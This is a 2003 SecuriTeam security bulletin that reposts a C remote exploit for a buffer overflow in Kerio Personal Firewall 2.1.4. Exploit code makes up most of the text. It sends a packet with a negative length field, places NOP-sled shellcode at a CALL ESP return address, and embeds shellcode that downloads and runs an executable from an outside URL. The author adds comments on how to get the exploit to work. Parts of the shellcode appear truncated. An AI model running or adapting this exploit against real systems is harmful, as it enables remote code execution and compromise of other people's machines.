

# [EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-05/0033.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 05/18/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 18 May 2003 21:03:11 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or [ussales@beyondsecurity.com](mailto:ussales@beyondsecurity.com)

-----

Vulnerabilities in Kerio Personal Firewall (Exploit)

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5VP10009PQ.html>> Vulnerabilities in Kerio Personal Firewall (Buffer Overflow, Replay), a buffer overflow vulnerability in the Kerio Personal Firewall allows remote attackers to cause the product to execute arbitrary code. The following code can be used to test your system for the mentioned vulnerability.

## DETAILS

Vulnerable systems:

\* Kerio Personal Firewall version 2.1.4

Exploit:

/\*

AUTHOR: Burebista ([aanton@reversedhell.net](mailto:aanton@reversedhell.net))

HOME PAGE: [www.reversedhell.net](http://www.reversedhell.net)

## Securiteam: [EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)

TITLE: Kerio Personal Firewall 2.1.4 on Windows XP with SP1 remote exploit

VERSION: 2.1.4 15 Apr 2002 – 12:18:26

Exploit buffer looks something similar to this:

```
[NOP][OVERWRITTEN BY  
KERIO][NOP].....[NOP][SHELLCODE][NOP]....[ret][OVERWRITTEN BY  
KERIO][CALL]
```

```
|||
```

```
|-----|
```

I would like to greet and thank Undertakr, Animadei, smfcs, the whole Undernet #cracking channel, www.lplan.net for their webhosting, H.A.(ccc) (Madna Raria). I also thank gmistic, sham, north, and everybody else, you perfectly know who you are..

Sorry for not using own shellcode, I don't know who wrote this one, but it's nice because it works on all windows platforms, or at least most. If you wish, you can modify it to restore the execution flow instead of exiting, this way the firewall will remain functional and it's more sexy. The execution flow changes at 0x418672 at the ret instruction.

In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow a connection to port 44334 from your testing unix shell ip.

NOTE: It is also possible to use UDP instead of TCP :-)

Thanks to FreeBSD team for their nice OS.

It works out very well, if not, hit a few times with a ret addr of 0x41414141 to make it crash AT THAT addr. Then use the original one, it will work. The one I used points to a 'call esp' inside the RPCRT4.DLL.

\*/

```
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <errno.h>  
#include <string.h>  
#include <netdb.h>  
#include <sys/types.h>  
#include <netinet/in.h>
```



## Securiteam: [EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)

```
"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49"  
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"  
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"  
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"  
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08"  
"http://reversedhell.net/hackyou.exe"  
"\x08\x01"; // download + exec from the net ; donno who wrote this sc
```

//change the url to whatever, this one pops up an innofernsive message box

// end of global vars

int suck(int sock,int n) // painfull function to get rid of the painfull

Kerio protocol

```
{  
    int i=0,j=0,k,a=0,b=0,c=0,d=0;  
  
    while (i<n)  
    {  
  
        if ((numbytes=recv(sock, buf, n, 0)) == -1) {  
            perror("recv");  
            exit(1);  
        }  
  
        if (j) i+=(numbytes-1); // ya i know i know :D  
  
        else i+=numbytes;  
  
        for (k=0;k<numbytes;k++) {  
            if (k % 10 == 0) fprintf(stderr,"\n");  
            if (buf[k]==0) fprintf(stderr," 0 ");  
            else fprintf(stderr," %4.0d ",buf[k]);  
        }  
  
        fprintf(stderr," * ");  
        j++;  
        d=buf[numbytes];  
        c=buf[numbytes-1];  
        b=buf[numbytes-2];  
        a=buf[numbytes-3];  
        if ((i>200) && (a==0x1) && (b==0x0) && (c==0x1) && (d==0x0)) break;  
    }  
    fprintf(stderr,"\n");  
    return i;  
}
```

int main(int argc, char \*argv[])

```
{  
    int sockfd, i,j;
```

## Securiteam: [EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)

```
struct hostent *he;

if (argc != 2) {
    fprintf(stderr,"usage: ./%s hostname\n",argv[0]);
    exit(1);
}

if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
    perror("gethostbyname");
    exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { // prepare a
socket for connecting
    perror("socket");
    exit(1);
}

their_addr.sin_family = AF_INET; // host byte order
their_addr.sin_port = htons(PORT); // short, network byte order
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct

if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct
sockaddr)) == -1) {
    perror("connect");
    exit(1);
}

fprintf(stderr,"shell len = %d\n",strlen(shellcode));
fprintf(stderr,"Connected to firewall.\n");
memset(buf,0x0,sizeof(buf));
fprintf(stderr,"Sucking buffer..\n");
suck(sockfd,266);
fprintf(stderr,"\nBuffer sucked by black hole..\n");
memset(buf,0x0,sizeof(buf));
fprintf(stderr,"-----\n");
fprintf(stderr," - BANNER - \n");
fprintf(stderr,"-----\n");
sleep(1);
fprintf(stderr,"coded by Burebista (aanton@reversedhell.net)\n");
fprintf(stderr," released on - 5 Apr 2003 -\n");

sleep(2);
fprintf(stderr,"-----\n");
memset(buf,0x90,MAXDATASIZE); // set nops all over

// prepares call up to beginning of buffer 32 bit=5 bytes
buf[MAXDATASIZE-1]='\xff'; //
buf[MAXDATASIZE-2]='\xff'; // call -1150
```

## Securiteam: [EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)

```
buf[MAXDATASIZE-3]='\xee'; //
buf[MAXDATASIZE-4]='\xab'; //
buf[MAXDATASIZE-5]='\xe8'; //

j=0;

for (i=900;j<strlen(shellcode);i++) buf[i]=shellcode[j++]; // insert the
shellcode in buf at 900

// prepares the new return address (on XPSP1 it is CALL ESP in
RPCRT4.DLL)

buf[retpos-1]='\x78';
buf[retpos-2]='\x07';
buf[retpos-3]='\x06';
buf[retpos-4]='\x90';

// this prepares packet header with negative length

buf[0]=0;
buf[1]=0;
buf[2]=0x14;
buf[3]=0xfffff9c; // negative, -100. firewall will prepare buf of that
size. signed integers hit again

/*
The 4th byte in the packet is the size of what the firewall will be
expecting to receive
right ahead. If we send longer buffer then what we told the firewall to
expect, it will be
simply truncated and nothing cool will happen. The problem is Kerio
never thought we could
tell it something that stupid like we are going to send -100 bytes, it
is like expecting a
client to buy -20 books from your library, which is an absurdity. There
is no checking to
make sure the user input is valid. Again, invalid trusted user input.
What they should have
done is either to use the 4th byte inside a modulus, to make sure it is
always positive,
either lamingly check if it is negative, and if true, stop processing
the inputted data.

What's so funny?
*/

if ((send(sockfd, buf, sizeof(buf), 0)) == -1) { // PASARAN!
    perror("send");
    exit(1);
}
fprintf(stderr, "..pasaran...\n");
```

Securiteam: [EXPL] Vulnerabilities in Kerio Personal Firewall (Exploit)

```
fprintf(stderr,":D Done!\n");  
  
close(sockfd);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aanton@reversedhell.net>  
Alin-Adrian Anton.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.